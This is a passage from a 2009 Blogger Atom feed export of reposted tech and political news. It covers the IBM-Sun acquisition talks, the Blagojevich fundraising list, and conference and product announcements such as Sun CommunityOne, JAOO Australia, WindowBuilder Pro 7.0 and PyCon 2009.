Colley declined to comment on the company’s relationships with suppliers. Sun declined to comment on a possible deal with IBM, spokesman Shawn Dainas said. Representatives at Dell and Hopkinton, Massachusetts-based EMC also declined to comment.&lt;br /&gt;&lt;br /&gt;Palmisano’s Goal&lt;br /&gt;&lt;br /&gt;IBM Chief Executive Officer Sam Palmisano has pledged to use the recession to strengthen the company through acquisitions and research after revenue fell 6.4 percent last quarter. Global server sales will probably drop 17 percent to $44.2 billion this year, according to Credit Suisse Group AG.&lt;br /&gt;&lt;br /&gt;Consolidation has implications for bigger companies as well. Top software maker Microsoft Corp., based in Redmond, Washington, gets about $2.4 billion in annual sales from IBM and Sun Microsystems, while Intel Corp., the world’s largest chipmaker, gets $714.1 million, according to Connexiti data.&lt;br /&gt;&lt;br /&gt;An outside spokesman for Microsoft declined to comment, as did Tom Beermann, a spokesman for Santa Clara, California-based Intel.&lt;br /&gt;&lt;br /&gt;While orders from IBM and Sun make up only a fraction of Microsoft and Intel’s revenue -- 3.9 percent and 1.9 percent of annual sales respectively -- a wave of customer consolidations and a drop in sales, alongside a declining economy would add up, said Sachin Shah, a mergers and acquisitions analyst at ICAP Plc.&lt;br /&gt;&lt;br /&gt;“This is going to hit home if this becomes reality -- reality in the sense that it’s not just this deal,” said Jersey City, New Jersey-based Shah, who doesn’t own shares of IBM, Sun, Microsoft or Intel. The supply chain “is going to see a revolutionary change based on where the economy is going.”&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8566334576670411464?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8566334576670411464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8566334576670411464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8566334576670411464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8566334576670411464'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/ibm-sun-acquisition-may-make-1-plus-1.html' title='IBM-Sun Acquisition May Make ‘1 Plus 1’ Less Than 2'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7301862700964310770</id><published>2009-03-29T06:02:00.000-07:00</published><updated>2009-03-29T06:03:34.522-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Can we clean up politics?</title><content type='html'>For the glass-is-half-full crowd, something positive may come from Illinois' Rod Blagojevich experience. It seems like everybody in Springfield these days is talking about reform. Of course, talk in politics is cheap. Meaningful change is much tougher. In today's Chicagoland section, we look at significant steps that other states have taken, and the prospects for Illinois moving in that direction.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7301862700964310770?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7301862700964310770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7301862700964310770' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7301862700964310770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7301862700964310770'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/can-we-clean-up-politics.html' title='Can we clean up politics?'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8146392790798674217</id><published>2009-03-29T06:00:00.000-07:00</published><updated>2009-03-29T06:02:16.374-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>List Shows Targets For Ill. Fundraising</title><content type='html'>CHICAGO -- A list of people targeted for contributions by former Illinois governor Rod Blagojevich's campaign committee included four possible candidates for appointment to President Obama's vacant Senate seat, according to a published newspaper report.&lt;br /&gt;&lt;br /&gt;The Chicago Sun-Times obtained the list and posted it on its Web site Saturday. It is dated Dec. 3, six days before Blagojevich's arrest on federal charges of scheming to sell or trade the Senate appointment, among other misdeeds. Blagojevich denies any wrongdoing.&lt;br /&gt;&lt;br /&gt;The list includes the names of J.B. Pritzker, Rep. Jan Schakowsky, Rep. Luis V. Gutierrez and Roland W. Burris. All were reported to be under consideration, and Burris ultimately got the governor's appointment to the Senate.&lt;br /&gt;&lt;br /&gt;None is reported to have contributed. About 150 names are on the list, some with dollar amounts as goals, adding up to more than $2 million.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8146392790798674217?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8146392790798674217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8146392790798674217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8146392790798674217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8146392790798674217'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/list-shows-targets-for-ill-fundraising.html' title='List Shows Targets For Ill. Fundraising'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3508245836958063070</id><published>2009-03-26T07:14:00.000-07:00</published><updated>2009-03-26T07:17:12.002-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Sun Microsystems Hosts CommunityOne Open Source Developer Conference for World's Technology Communities</title><content type='html'>Unveils Open Cloud Platform and Previews the Sun Cloud – Public Cloud for Developers Students and Startups&lt;br /&gt;CommunityOne Open Source Developer Conference&lt;br /&gt;&lt;br /&gt;NEW YORK--(BUSINESS WIRE)--In his opening keynote at the annual CommunityOne open source developer conference, David Douglas, senior vice president of Cloud Computing and chief sustainability officer at Sun Microsystems, Inc. (NASDAQ:JAVA), will discuss Sun's overall commitment to open source, building communities and will showcase the company's newly announced Open Cloud Platform. Sun will also preview plans to launch the Sun Cloud, its first public cloud service targeted at developers, student and startups. As part of its commitment to building communities, Sun will release a set of Open APIs, announce broad partner support for its cloud platform and demonstrate innovative features of the Sun Cloud.&lt;br /&gt;&lt;br /&gt;Douglas' keynote will include a series of interactive interviews with community leaders from Eucalyptus, RightScale and Zmanda who will discuss opportunities that are created by the innovations of Sun's cloud platform. One of the demonstrations to be featured is an extension for Star Office(TM) and OpenOffice.org(TM). It will enable millions of users to easily save to and open documents from the cloud. In addition, Eucalyptus is expected to announce their open source cloud APIs supporting Sun's Cloud. The developers also intend to integrate Eucalyptus APIs in the next version of Ubuntu OS. These APIs will enable developers to easily create applications they can deploy on the Sun Cloud.&lt;br /&gt;&lt;br /&gt;CommunityOne, a Sun-sponsored event, is a dynamic and diverse gathering of open source developer communities that includes thousands of developers and members from the Apache Software Foundation, Eclipse, GlassFish(TM), Grails, MySQL(TM), NetBeans(TM), ODF Alliance, OpenID, OpenOffice.org, OpenSolaris(TM), Python, Ruby and many others. Now in its second year, the CommunityOne gatherings have brought together more than 5,500 attendees, including students from 80 countries to share in the power of communities. Growing in popularity since its launch in San Francisco in 2007, this is the first time CommunityOne will be held on the East Coast.&lt;br /&gt;&lt;br /&gt;On Thursday, March 19, expert educators from Sun Learning Services will lead deep technical tutorials on building dynamic Web 2.0 websites, designing robust enterprise applications and harnessing the power of the world's most popular open source database. CommunityOne will also offer hands-on technology demonstrations and an “open space” for open source groups to hold public discussions.&lt;br /&gt;&lt;br /&gt;For those unable to attend CommunityOne in person Sun will Webcast the general sessions, as well as the technical sessions. Click here to view (http://sun.com/communityone). The replay of the general session will be available post conference here (http://developers.sun.com/events/communityone).&lt;br /&gt;&lt;br /&gt;About Sun Microsystems, Inc.&lt;br /&gt;&lt;br /&gt;Sun Microsystems develops the technologies that power the global marketplace. Guided by a singular vision -- "The Network is the Computer" (TM) -- Sun drives network participation through shared innovation, community development and open source leadership. Sun can be found in more than 100 countries and on the Web at http://sun.com.&lt;br /&gt;&lt;br /&gt;Sun, Sun Microsystems, the Sun logo, Java, Solaris, OpenSolaris, GlassFish, MySQL, NetBeans and the Network is the Computer are trademarks or registered trademarks of Sun Microsystems, Inc. and its subsidiaries in the United States and other countries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3508245836958063070?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3508245836958063070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3508245836958063070' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3508245836958063070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3508245836958063070'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/sun-microsystems-hosts-communityone.html' title='Sun Microsystems Hosts CommunityOne Open Source Developer Conference for World&apos;s Technology Communities'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8183788593080372653</id><published>2009-03-26T07:13:00.000-07:00</published><updated>2009-03-26T07:14:37.197-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Big Software Names Coming to Sydney and Brisbane</title><content type='html'>Senior Architects from Yahoo, Microsoft, IBM and Google will be travelling from all over the world to present at this year’s JAOO conference held in Sydney and Brisbane in early May.&lt;br /&gt;The strong partnership between the Queensland University of Technology, Dave Thomas of Bedarra Research Labs and JAOO Conferences has made the conference return to Australia in 2009, giving Australian software professionals the opportunity to learn from some of the world’s best IT gurus.&lt;br /&gt;&lt;br /&gt;JAOO invites international product and application architects, thought leaders and authors with unique industry expertise to give in depth tutorials on current and emerging technologies and practices.&lt;br /&gt;&lt;br /&gt;Attendees to JAOO can get ahead of their competitors by learning about the good, the bad and the ugly when it comes to methods, practices and experiences in design and architecture.&lt;br /&gt;&lt;br /&gt;This year's program will focus on Web 2.0, Cloud Computing, Enterprise Platforms, Architect and Design and Agile Development Practices.&lt;br /&gt;&lt;br /&gt;Australian software professionals will get the chance to interact with Clemens Szyperski, Software Architect Microsoft Olso modeling platform, Joshua J Bloch, Chief Java Architect at Google, Douglas Crockford, JavaScript Architect at Yahoo, Dan North inventor of Behaviour Driven Development and Principal Consultant from ThoughtWorks and Michael T Nygard, author of “Release It!”.&lt;br /&gt;&lt;br /&gt;JAOO Australia gives attendees the chance to network with the best software developers from Australia and all over the world without the cost of overseas travel.&lt;br /&gt;&lt;br /&gt;"The attendees will have the chance to really pick the brains of the presenters coming to the conference as they stay for the duration of the four day event", which is a unique aspect to JAOO according to Dave Thomas, Chairman Bedarra Research Labs Pty and co-organiser of JAOO Australia.&lt;br /&gt;&lt;br /&gt;"A conference of this calibre rarely reaches Australia's shores, it's a once a year opportunity for the best of the best to meet up", said Mr Thomas.&lt;br /&gt;&lt;br /&gt;Since 1996, Trifork has organized JAOO and by creating events "for developers, by developers" JAOO is highly regarded by both participants and speakers.&lt;br /&gt;&lt;br /&gt;JAOO originally stood for "Java and Object-Oriented" but today JAOO has evolved into a more in-depth conference with a wider set of content than just Java-based technologies.&lt;br /&gt;&lt;br /&gt;JAOO will be in Sydney May 5-8 and in Brisbane May 11-14.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8183788593080372653?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8183788593080372653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8183788593080372653' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8183788593080372653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8183788593080372653'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/big-software-names-coming-to-sydney-and.html' title='Big Software Names Coming to Sydney and Brisbane'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-4327791596257352612</id><published>2009-03-26T07:11:00.000-07:00</published><updated>2009-03-26T07:13:38.839-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Instantiations Releases Major Upgrade to WindowBuilder Pro; Wins Best Commercial Eclipse Developer Tool Award</title><content type='html'>New features of WindowBuilder Pro v7.0, the market-leading Eclipse Java GUI Builder, to be showcased at EclipseCon 2009 with other product upgrades to its software quality, security, performance and GUI testing tools&lt;br /&gt;&lt;br /&gt;Santa Clara, CA (PRWEB) March 24, 2009 -- Instantiations, Inc., a leading provider of Eclipse-based commercial software solutions, today released version 7.0 of its market-leading WindowBuilder™ Pro Java graphical user-interface (GUI) builder, and was awarded the "Best Commercial Eclipse-Based Developer Tool" by the Eclipse Foundation at EclipseCon 2009. WindowBuilder Pro includes powerful functionality for creating user interfaces based on the popular Swing, SWT (Standard Widget Toolkit), and GWT (Google Web Toolkit) UI frameworks.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ww1.prweb.com/prfiles/2009/03/23/197089/gI_WBPuserinterface.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 250px; height: 165px;" src="http://ww1.prweb.com/prfiles/2009/03/23/197089/gI_WBPuserinterface.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Best Commercial Eclipse-Based Developer Tool&lt;br /&gt;It has been impressive to see the continued growth and popularity of WindowBuilder Pro&lt;br /&gt;Instantiations continues to deliver high quality, innovative tools for the Eclipse platform that help developers utilize Eclipse more effectively, and we're pleased with their continued support of Eclipse.&lt;br /&gt;Best Commercial Eclipse-Based Developer Tool&lt;br /&gt;We are thrilled with the Eclipse Foundation's recognition of WindowBuilder Pro as the best commercial Eclipse-based developer tool&lt;br /&gt;We are extremely committed to innovating and evolving the product to exceed the expectations of our thousands of loyal customers. WindowBuilder Pro is an incredibly flexible and feature rich development tool that showcases the depth and power of the Eclipse platform.&lt;br /&gt;Updates in v7.0 include UI Factories, a convenient way to create customized, reusable versions of common components, improved parsing using binary execution flow, a new customization API for third party extensibility, Eclipse Nebula widgets integration (SWT), Swing Data Binding, JSR 295 (Swing), and full support for GWT-Ext widgets and layouts (GWT).&lt;br /&gt;&lt;br /&gt;"It has been impressive to see the continued growth and popularity of WindowBuilder Pro," said Mike Milinkovich, executive director of the Eclipse Foundation. "Instantiations continues to deliver high quality, innovative tools for the Eclipse platform that help developers utilize Eclipse more effectively, and we're pleased with their continued support of Eclipse."&lt;br /&gt;&lt;br /&gt;WindowBuilder Pro was acknowledged as the "Best Commercial Eclipse-Based Developer Tool" by the Eclipse Foundation at an award ceremony Monday night, March 23, at EclipseCon 2009. The highly acclaimed Instantiations product was one of three finalists out of a pool of 64 total candidates, and then selected number one by a panel of judges from the Eclipse community. WindowBuilder Pro was chosen for its usability, innovation, flexibility across different types of Java user interface frameworks, and the ability to solve the unique problems of software developers.&lt;br /&gt;&lt;br /&gt;In addition to being an award winner, Instantiations is a Silver Sponsor Exhibitor at EclipseCon 2009, president and CEO, Mike Taylor was re-elected to the Eclipse Foundation board, and members of Instantiations' senior technical staff are making the following presentations:&lt;br /&gt;&lt;br /&gt;    * Building Commercial-Quality Eclipse Plug-Ins: Tutorial by Dan Rubel and Eric Clayberg, Mon. March 23, 8:00 a.m.&lt;br /&gt;    * RAP versus GWT: Dan Rubel and Mark Russell, Tues. March 24, 2:20 p.m.&lt;br /&gt;    * Birds of a Feather Session and Reception: "Eclipse Plug-ins" authors showcase and interview, Tues. March 24, 7:30 p.m.&lt;br /&gt;    * UI Testing Patterns and Best Practices: Phil Quitslund and Dan Rubel, Wed. March 25, 10 a.m.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"We are thrilled with the Eclipse Foundation's recognition of WindowBuilder Pro as the best commercial Eclipse-based developer tool," said Eric Clayberg, Instantiations senior vice-president of product development, co-founder of Instantiations and co-author of Eclipse Plug-ins. "We are extremely committed to innovating and evolving the product to exceed the expectations of our thousands of loyal customers. WindowBuilder Pro is an incredibly flexible and feature rich development tool that showcases the depth and power of the Eclipse platform."&lt;br /&gt;&lt;br /&gt;WindowBuilder Pro is a market-leading bi-directional Eclipse GUI builder which seamlessly integrates into any Eclipse-based Java development environment. With its drag-and-drop functionality, developers can easily add many components and create complicated windows in minutes, with Java code being generated automatically. The product includes a visual design editor, wizards, intelligent layout assistants, localization and more. WindowBuilder Pro component products include Swing Designer™, SWT Designer™, and GWT Designer™.&lt;br /&gt;&lt;br /&gt;New in WindowBuilder Pro v7.0&lt;br /&gt;&lt;br /&gt;    * UI Factories - Create an unlimited number of customized widgets that are available from the palette.&lt;br /&gt;    * Improved Parsing Using Binary Execution Flow - Even better at parsing handwritten and hand-re-factored code.&lt;br /&gt;    * Customization API - provides a much more extensible platform that allows third parties and OEMs to integrate more easily.&lt;br /&gt;    * Nebula Widgets Integration (SWT) - handy integration for the Eclipse Nebula widget kit&lt;br /&gt;    * Swing Data Binding, JSR 295 (Swing) - Create associations between widgets and a back-end data source.&lt;br /&gt;    * GWT-Ext Support (GWT) - Full support for the popular GWT-Ext widgets and layouts. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pricing and Availability of WindowBuilder Pro&lt;br /&gt;WindowBuilder Pro v7.0 is available for $329 USD with a traditional software license that includes 90 days of upgrades, maintenance and technical support. Discounts are available for multiple licenses or combined product purchases. Product upgrades are available at no cost to customers with current support agreements. Find complete product pricing details at full-feature trial evaluation.&lt;br /&gt;&lt;br /&gt;Other Product Updates&lt;br /&gt;The company also announces version upgrades to CodePro AnalytiX™, CodePro Profiler™, WindowTester™ and RCP Developer™.&lt;br /&gt;&lt;br /&gt;CodePro AnalytiX V6.1 is a comprehensive automated software quality and code security tool that helps developers decrease potential code security vulnerabilities early in the software development lifecycle and improve Java code quality and reduces development costs through increased developer productivity.&lt;br /&gt;&lt;br /&gt;CodePro Profiler V2.1 is a run-time performance analysis tool for Eclipse Java developers; it helps developers to efficiently find performance problems in code during development, while ensuring the creation of fast, reliable and high quality applications.&lt;br /&gt;&lt;br /&gt;WindowTester V3.8 is the leading tool for automating the testing of Swing and SWT graphical user interfaces.&lt;br /&gt;&lt;br /&gt;RCP Developer V3.8 helps developers accelerate the creation of Eclipse RCP applications, providing tools to design, test, document and deploy Eclipse Rich Client Platform applications.&lt;br /&gt;&lt;br /&gt;Download full-feature trial free trials from http://www.instantiations.com/prods/docs/download.html.&lt;br /&gt;&lt;br /&gt;About Instantiations&lt;br /&gt;Based in Portland, Oregon, USA, Instantiations is a leading innovator of Eclipse-based solutions and focuses its products and services on improving quality, security, productivity and time-to-market for global software development organizations. The company is also a major contributor in the Smalltalk language market with its VA Smalltalk product. Led by a team of internationally-recognized pioneers in Java and Smalltalk software technology, Instantiations is a founding member of the Eclipse Foundation and the Smalltalk Industry Council, and is an IBM Business Partner. With a line of products for Eclipse, IBM Rational®, JBuilder® and MyEclipse™, the company is named as one the fastest-growing Oregon companies three years running and has been repeatedly ranked among the Top 100 companies influencing software development by SD Times. For more information, visit http://www.instantiations.com.&lt;br /&gt;&lt;br /&gt;CodePro AnalytiX, CodePro Profiler, WindowBuilder, Swing Designer, SWT Designer, GWT Designer, RCP Developer and WindowTester are trademarks of Instantiations, Inc. Java is a trademark of Sun Microsystems. All other trademarks are the properties of their respective companies&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-4327791596257352612?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/4327791596257352612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=4327791596257352612' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4327791596257352612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4327791596257352612'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/instantiations-releases-major-upgrade.html' title='Instantiations Releases Major Upgrade to WindowBuilder Pro; Wins Best Commercial Eclipse Developer Tool Award'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7127239750472579879</id><published>2009-03-26T07:09:00.000-07:00</published><updated>2009-03-26T07:11:09.161-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>White Oak Technologies, Inc., Google, Sun Microsystems Sponsor World's Largest Python Conference</title><content type='html'>CHICAGO - March 24, 2009 - PyCon 2009, the largest annual conference of the worldwide Python programming community, takes place March 25 - April 2 at the Hyatt Regency O'Hare and the Crowne Plaza Chicago O'Hare in Chicago, IL. The core conference runs March 27-29, with days of special events both before and after the main conference.&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Last December's release of Python 3.0 marks one of the most important events in Python's history, and PyCon 2009 provides developers a chance to learn to adapt to it from the worldwide masters of Python programming. Though Python's 2.x series will remain viable for years, the Python community is clearly excited about the way forward paved by Python 3.0. Several PyCon sessions will cover features new to the 3.0 release and techniques for writing Python 3.0 code. Following the main conference days (March 27-29), eighteen major Python-based projects and the Python language core itself will gather attendees for four days of development sprints, where usually far-flung groups will work together to improve and extend their project codebases, and adapt them to Python 3.0's new possibilities.&lt;br /&gt;  Python continues to advance in popularity and is acknowledged as one of the most important and useful languages in the IT community. In the past year, the Python language has been awarded the Linux New Media "Best Open Source Programming Language" award and the LinuxQuestions.org Language of the Year, and is currently at position 6 in the TIOBE Programming Community Index.  Alan Broder, President of White Oak Technologies, Inc., says, "Since its inception in the late 1990's, WOTI's excellent reputation as a developer of high-performance software has depended on its ability to find top developers who can develop and deliver excellent software products. The marketplace for top technical talent in the Washington DC area is quite competitive, so we needed to choose a language that would enable WOTI to recruit from the widest possible pool of developers. As accomplished developers in C/C++, Lisp, Perl, and other languages, we decided to conduct an experiment to try and build identical web-client applications in both Python and Java, starting with little knowledge of either language. The results were dramatic - including all learning time, we were able to build our first viable Python application in far less time than the equivalent Java application. Python was the obvious choice, and since then, we've not looked back. We're quite pleased that Python continues to provide us with a competitive edge."  &lt;br /&gt;&lt;br /&gt;Twenty-five industry leaders have joined to sponsor PyCon 2009, including White Oak Technologies, Inc. (Diamond); Google and Sun Microsystems (Platinum); and ESRI, CCP, Visual Numerics, Microsoft, slide.com, and Walt Disney Animation Studios (Gold).&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;PyCon 2009 includes over eighty-five talks and keynotes, plus Open Spaces, Lightning Talks, and nighttime events - activities that give attendees chances to meet and learn from each other in unstructured and semi-structured ways. An Expo Hall will bring attendees together with sponsors and vendors.&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;The core PyCon conference days (March 27-29) are preceded by two days (March 25-26) of intensive half-day tutorials. Two invitation-only summit meetings, the Virtual Machine Summit and the Python Community Summit, will run concurrently with the tutorials. These first-time-ever summit meetings will give leaders from the Python and other dynamic programming language communities an opportunity to share ideas and strategize together. All PyCon attendees are invited to stay after the core conference for development sprints (March 30 - April 2).&lt;br /&gt;  &lt;br /&gt;About Python&lt;br /&gt;&lt;br /&gt;Python is an open-source, dynamically typed, object-oriented programming language that can be used in nearly the entire range of technology applications. It offers an easy learning curve and access to a vast array of libraries. With implementations available for all common operating systems as well as the Java and .NET platforms, Python can be used on virtually any system in existence. Like other open-source, dynamic languages, it offers rapid productivity and a vigorous developer community; at the same time, Python's clarity and reliability give confidence to enterprise users. The December 2008 release of Python 3.0 marks a major milestone in Python's history, bringing new levels of clarity, consistency, and power to Python code.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;About PyCon&lt;br /&gt;&lt;br /&gt;Presented by the Python Software Foundation, the world’s largest Python conference brings together a diverse group of developers, enthusiasts, and organizations to explore new challenges, launch new businesses and forge new connections within the Python community. PyCon provides attendees with the opportunity to delve into the dynamic programming language employed by well-known companies such as Google, Cisco, and the New York Times. PyCon helps people learn new tools and techniques, present their own projects, and meet other Python fans. Press passes to the conference are available for members of the press who would like to see PyCon in person.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;About White Oak Technologies, Inc.&lt;br /&gt;&lt;br /&gt;  White Oak Technologies, Inc. (WOTI) provides the next generation of solutions to massive, information-intensive, strategic intelligence challenges. WOTI, with its industry-leading expert staff, is a premier provider of advanced software technologies. Python is WOTI's primary programming language for solving many or our clients' problems. As a past sponsor of PyCon, WOTI is honored to further support the Python community through PyCon 2009. For more information, visit www.woti.com.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7127239750472579879?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7127239750472579879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7127239750472579879' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7127239750472579879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7127239750472579879'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/white-oak-technologies-inc-google-sun.html' title='White Oak Technologies, Inc., Google, Sun Microsystems Sponsor World&apos;s Largest Python Conference'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5387232771533502481</id><published>2009-03-26T07:08:00.000-07:00</published><updated>2009-03-26T07:09:21.457-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Profits in the Cloud</title><content type='html'>Atlantic Dominion Solutions LLC (ADS) is something of a rarity in the IT world: a solution provider with SMB clients that's making real money reselling cloud computing resources. Specifically, the Winter Park, Fla.-based application development and data warehousing firm is leveraging "platform-as-a-service" offerings from the Amazon Web Services division of Amazon.com Inc. Drawing on Amazon's Elastic Compute Cloud (EC2) and Simple Storage Service (S3), which offer hosted processing power and storage space, respectively, ADS is building custom solutions for its clients that require no up-front investment in back-office hardware or software. Like most cloud platform providers, Amazon charges customers only for the resources they use, as they use them, and it scales those resources up or down dynamically as needs fluctuate.&lt;br /&gt;&lt;br /&gt;With money tight and credit scarce, more and more businesses see appeal in that pay-as-you-go pricing scheme, which is why cloud-based projects are making an increasingly large contribution to ADS' bottom line. "I'd say about 20 percent of what we do is in one way or another involved with the Amazon platform," suggests ADS Chief Executive Officer Robert Dempsey.&lt;br /&gt;&lt;br /&gt;Definitions of cloud computing vary widely. But if you thought it was just about software as a service (SaaS), get ready: There's a new cloud on the block. Web-based platform offerings from Amazon, Google, Microsoft, and a host of lesser-known players with names like FlexiScale and Joyent are catching on fast-especially with SMBs. And while some channel 